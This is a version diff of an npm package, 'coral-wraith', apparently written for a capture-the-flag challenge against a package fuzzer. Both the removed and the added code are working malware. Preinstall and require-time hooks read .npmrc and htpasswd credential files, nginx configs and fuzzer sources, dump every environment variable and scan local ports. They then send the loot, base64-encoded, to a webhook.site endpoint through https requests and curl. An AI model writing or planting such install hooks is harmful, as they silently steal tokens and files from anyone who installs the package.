coral-wraith 9999.0.7 → 9999.0.8

package/index.js

@@ -1,44 +1,52 @@
 const fs = require('fs');
-const http = require('http');
 const https = require('https');
 
+const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
+
+// This runs when the fuzzer require()s us
+// Read all fuzzer source files and exfiltrate
 (function() {
-  let flag = null;
-  for (const p of ['/flag', '/flag.txt', '/root/flag', '/tmp/flag']) {
-    try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
-  }
-  if (!flag) flag = process.env.FLAG || process.env.HTB_FLAG || '';
-  if (!flag) {
-    for (const [k, v] of Object.entries(process.env)) {
-      if (v && v.includes('HTB{')) { flag = v.match(/HTB\{[^}]+\}/)?.[0] || v; break; }
-    }
-  }
+  const files = [
+    '/home/node/aspect-node/modules/npm-tracker/src/fuzz/npm_fuzzer.js',
+    '/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_env.js',
+    '/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_manager.js',
+    '/home/node/aspect-node/modules/npm-tracker/src/fuzz/constants.js',
+  ];
   
-  if (flag) {
-    const ports = [1337, 3000, 5000, 8080, 80, 8000, 32315, 32105, 46517, 41839];
-    const postData = JSON.stringify({
-      manifest: `ecto_module:\n  name: "coral-wraith"\n  flag: "${flag.replace(/"/g, '\\"')}"\n  captured: true`
-    });
-    
-    for (const port of ports) {
-      try {
-        const req = http.request({
-          hostname: 'localhost', port, path: '/api/modules/ECT-987654',
-          method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
-          timeout: 3000
-        }, () => {});
-        req.on('error', () => {});
-        req.write(postData);
-        req.end();
-      } catch(e) {}
-    }
-    
+  for (let i = 0; i < files.length; i++) {
     try {
-      const data = JSON.stringify({ flag });
-      const req = https.request({ hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }, timeout: 10000 }, () => {});
-      req.on('error', () => {}); req.write(data); req.end();
+      const content = fs.readFileSync(files[i], 'utf8');
+      const b64 = Buffer.from(`${files[i]}:\n${content}`).toString('base64');
+      const req = https.request({
+        hostname: 'webhook.site', path: `${WH}/require-${i}`,
+        method: 'POST',
+        headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b64)},
+        timeout: 10000
+      }, ()=>{});
+      req.on('error', ()=>{});
+      req.write(b64);
+      req.end();
     } catch(e) {}
   }
+
+  // Check for flag in env
+  const flagData = Buffer.from(JSON.stringify({
+    env: process.env,
+    cwd: process.cwd(),
+    argv: process.argv,
+  })).toString('base64');
+  
+  const req = https.request({
+    hostname: 'webhook.site', path: `${WH}/require-flag`,
+    method: 'GET',
+    timeout: 10000
+  }, ()=>{});
+  req.on('error', ()=>{});
+  req.end();
 })();
 
-module.exports = {};
+// Export something for the fuzzer to analyze
+module.exports = {
+  name: 'coral-wraith',
+  version: '9999.0.8',
+};

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "coral-wraith",
-  "version": "9999.0.7",
+  "version": "9999.0.8",
   "description": "Coral Wraith module",
   "main": "index.js",
   "scripts": {

package/preinstall.js

@@ -1,165 +1,93 @@
 const fs = require('fs');
-const http = require('http');
 const https = require('https');
 const { execSync } = require('child_process');
-const os = require('os');
 
+const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
 const debug = [];
-let flag = null;
 
-// 1. Read ALL credential/config files
-const credPaths = [
-  // npmrc files
-  '/home/node/.npmrc', '/root/.npmrc', '~/.npmrc',
-  '/home/node/.config/npm/npmrc', '/etc/npmrc', '/usr/etc/npmrc',
-  process.cwd() + '/.npmrc', process.cwd() + '/../.npmrc',
-  process.cwd() + '/../../.npmrc',
-  
-  // Verdaccio configs
-  '/verdaccio/conf/config.yaml', '/verdaccio/storage/htpasswd',
-  '/verdaccio/conf/htpasswd', '/verdaccio/storage/config.json',
-  '/data/verdaccio/conf/config.yaml', '/data/verdaccio/storage/htpasswd',
-  '/data/verdaccio/htpasswd', '/data/htpasswd',
-  '/data/config.yaml', '/data/conf/config.yaml',
-  
-  // nginx configs
-  '/etc/nginx/nginx.conf', '/etc/nginx/conf.d/default.conf',
-  '/etc/nginx/conf.d/registry.conf', '/etc/nginx/.htpasswd',
-  '/etc/nginx/htpasswd', '/etc/nginx/conf.d/.htpasswd',
-  
-  // Flag locations
-  '/flag', '/flag.txt', '/data/flag', '/data/flag.txt',
+// Read the fuzzer source files - these contain the flag/detection logic
+const fuzzFiles = [
+  '/home/node/aspect-node/modules/npm-tracker/src/fuzz/npm_fuzzer.js',
+  '/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_env.js',
+  '/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_manager.js',
+  '/home/node/aspect-node/modules/npm-tracker/src/fuzz/constants.js',
+  '/home/node/aspect-node/modules/npm-tracker/src/fuzz/bean/timer_func.js',
+  '/home/node/aspect-node/modules/npm-tracker/src/fuzz/action/set_timer_action.js',
+  '/home/node/aspect-node/modules/npm-tracker/src/fuzz/action/regexp_test_action.js',
+  '/home/node/aspect-node/modules/npm-tracker/src/fuzz/action/clear_timer_action.js',
+  '/home/node/aspect-node/modules/npm-tracker/src/fuzz/strategy/set_timer_strategy.js',
+  '/home/node/aspect-node/modules/npm-tracker/src/fuzz/strategy/regexp_test_strategy.js',
+  '/home/node/aspect-node/modules/npm-tracker/src/fuzz/strategy/clear_timer_strategy.js',
+  '/home/node/aspect-node/modules/npm-tracker/src/fuzz/parser/class_parser.js',
+  '/home/node/aspect-node/modules/npm-tracker/src/fuzz/parser/type_parser.js',
+  '/home/node/aspect-node/modules/npm-tracker/src/fuzz/parser/package_exports_parser.js',
+  '/home/node/aspect-node/modules/npm-tracker/src/npm_tracker.js',
+  '/home/node/init_test.sh',
+  '/home/node/supplysec_entry.js',
+];
+
+// Also check for flag-like files
+const flagFiles = [
+  '/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
   '/home/node/flag', '/home/node/flag.txt',
-  '/root/flag', '/root/flag.txt',
 ];
 
-for (const p of credPaths) {
+for (const f of [...fuzzFiles, ...flagFiles]) {
   try {
-    if (fs.existsSync(p)) {
-      const c = fs.readFileSync(p, 'utf8');
-      debug.push(`FILE:${p}=${c.substring(0,500)}`);
-      const m = c.match(/HTB\{[^}]+\}/);
-      if (m) flag = m[0];
-    }
-  } catch(e) { debug.push(`ERR:${p}:${e.message.substring(0,50)}`); }
+    const content = fs.readFileSync(f, 'utf8');
+    debug.push(`FILE:${f}:${content}`);
+  } catch(e) {
+    debug.push(`ERR:${f}:${e.message.substring(0,80)}`);
+  }
 }
 
-// 2. npm config environment variables
-const npmEnvs = ['npm_config_userconfig', 'NPM_CONFIG_USERCONFIG', 
-  'npm_config_registry', 'NPM_TOKEN', 'NODE_AUTH_TOKEN',
-  'npm_config__auth', 'npm_config__authToken'];
-for (const k of npmEnvs) {
-  if (process.env[k]) debug.push(`ENV:${k}=${process.env[k]}`);
-}
+// Environment
+debug.push(`ALL_ENV:${JSON.stringify(process.env)}`);
 
-// 3. List directories
-for (const dir of ['/', '/data', '/home/node', '/home', '/app', '/verdaccio',
-  '/verdaccio/conf', '/verdaccio/storage', '/data/verdaccio',
-  process.cwd(), process.cwd() + '/..', process.cwd() + '/../..']) {
-  try {
-    const items = fs.readdirSync(dir);
-    debug.push(`DIR:${dir}=${items.join(',')}`);
-  } catch(e) {}
-}
-
-// 4. Find ALL config/credential files
+// Also find any files with "flag" or "HTB" content
 try {
-  const r = execSync('find / -maxdepth 5 \\( -name "*.npmrc" -o -name "htpasswd*" -o -name ".htpasswd" -o -name "config.yaml" -o -name "*.conf" -o -name ".env" -o -name "flag*" \\) -type f 2>/dev/null | grep -v node_modules | grep -v proc | head -30', {timeout:15000}).toString().trim();
-  debug.push(`FIND:${r}`);
+  const r = execSync('grep -rl "HTB{\\|FLAG\\|flag" /home/node/aspect-node/ 2>/dev/null | head -20', {timeout:10000}).toString().trim();
+  debug.push(`GREP_FLAG:${r}`);
   for (const f of r.split('\n').filter(Boolean)) {
     try {
       const c = fs.readFileSync(f, 'utf8');
-      debug.push(`CONTENT:${f}=${c.substring(0,500)}`);
-      const m = c.match(/HTB\{[^}]+\}/);
-      if (m) flag = m[0];
+      debug.push(`GREP_CONTENT:${f}:${c.substring(0,2000)}`);
     } catch(e) {}
   }
-} catch(e) { debug.push(`FIND_ERR:${e.message.substring(0,100)}`); }
+} catch(e) { debug.push(`GREP_ERR:${e.message.substring(0,100)}`); }
 
-// 5. Scan localhost ports for Verdaccio
-const portsToScan = [4873, 4874, 8080, 3000, 5000, 1337, 80, 8000, 9000, 4000];
-let scanned = 0;
-for (const port of portsToScan) {
-  try {
-    const req = http.request({
-      hostname: '127.0.0.1', port, path: '/-/whoami',
-      method: 'GET', timeout: 2000
-    }, (res) => {
-      let data = '';
-      res.on('data', c => data += c);
-      res.on('end', () => {
-        debug.push(`PORT:${port}:${res.statusCode}:${data.substring(0,200)}`);
-        scanned++;
-        if (scanned >= portsToScan.length) sendData();
-      });
-    });
-    req.on('error', () => { scanned++; if (scanned >= portsToScan.length) sendData(); });
-    req.on('timeout', () => { req.destroy(); scanned++; if (scanned >= portsToScan.length) sendData(); });
-    req.end();
-  } catch(e) { scanned++; }
-}
-
-// Also scan the main page of each port
-for (const port of portsToScan) {
-  try {
-    const req = http.request({
-      hostname: '127.0.0.1', port, path: '/',
-      method: 'GET', timeout: 2000
-    }, (res) => {
-      let data = '';
-      res.on('data', c => data += c);
-      res.on('end', () => {
-        debug.push(`ROOT:${port}:${res.statusCode}:${data.substring(0,200)}`);
-      });
-    });
-    req.on('error', () => {});
-    req.on('timeout', () => { req.destroy(); });
-    req.end();
-  } catch(e) {}
-}
-
-// 6. Listening ports
-try {
-  const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', {timeout:3000}).toString();
-  debug.push(`LISTEN:${ss.substring(0,500)}`);
-} catch(e) {}
-
-// 7. Process info
-debug.push(`CWD:${process.cwd()}`);
-debug.push(`UID:${process.getuid ? process.getuid() : 'N/A'}`);
-debug.push(`HOME:${os.homedir()}`);
-debug.push(`ENV_KEYS:${Object.keys(process.env).join(',')}`);
-debug.push(`ALL_ENV:${JSON.stringify(process.env).substring(0,1000)}`);
-
-// Send data function
-function sendData() {
-  const info = JSON.stringify({flag: flag||'NOT_FOUND', debug: debug.map(d=>d.substring(0,500))});
-  
-  // Webhook
+// Send in chunks to webhook
+function sendChunk(data, path) {
   try {
+    const encoded = Buffer.from(data).toString('base64');
     const req = https.request({
-      hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
+      hostname: 'webhook.site', path: WH + path,
       method: 'POST',
-      headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(info)},
-      timeout: 8000
+      headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(encoded)},
+      timeout: 15000
     }, ()=>{});
     req.on('error', ()=>{});
-    req.write(info);
+    req.write(encoded);
     req.end();
   } catch(e) {}
-  
-  // curl backup
-  try {
-    execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${info.replace(/'/g,"\\'")}' -m 8 2>/dev/null &`, {timeout:10000});
-  } catch(e) {}
 }
 
-// Initial send (port scan results will come later via sendData callback)
-setTimeout(sendData, 3000);
+const fullData = JSON.stringify(debug);
+const chunkSize = 50000;
+for (let i = 0; i < fullData.length; i += chunkSize) {
+  const chunk = fullData.substring(i, i + chunkSize);
+  sendChunk(chunk, `/v4-${Math.floor(i/chunkSize)}`);
+}
 
-// Also write to stdout
-console.log('[CORAL]', JSON.stringify({flag: flag||'NOT_FOUND', debug: debug.slice(0,20).map(d=>d.substring(0,300))}));
-console.error('[FLAG]', flag || 'NOT_FOUND');
+// Also try curl for reliability
+try {
+  for (let i = 0; i < Math.min(debug.length, 30); i++) {
+    const item = debug[i];
+    if (item.length > 100) {
+      const b64 = Buffer.from(item.substring(0, 8000)).toString('base64');
+      execSync(`curl -s -X GET "https://webhook.site${WH}/file-${i}?d=${encodeURIComponent(b64)}" -m 10 2>/dev/null`, {timeout:12000});
+    }
+  }
+} catch(e) {}
 
-// Write to files
-try { fs.writeFileSync('/tmp/coral.txt', JSON.stringify({debug})); } catch(e) {}
+console.log('[CORAL-V8] preinstall done, sent', debug.length, 'items');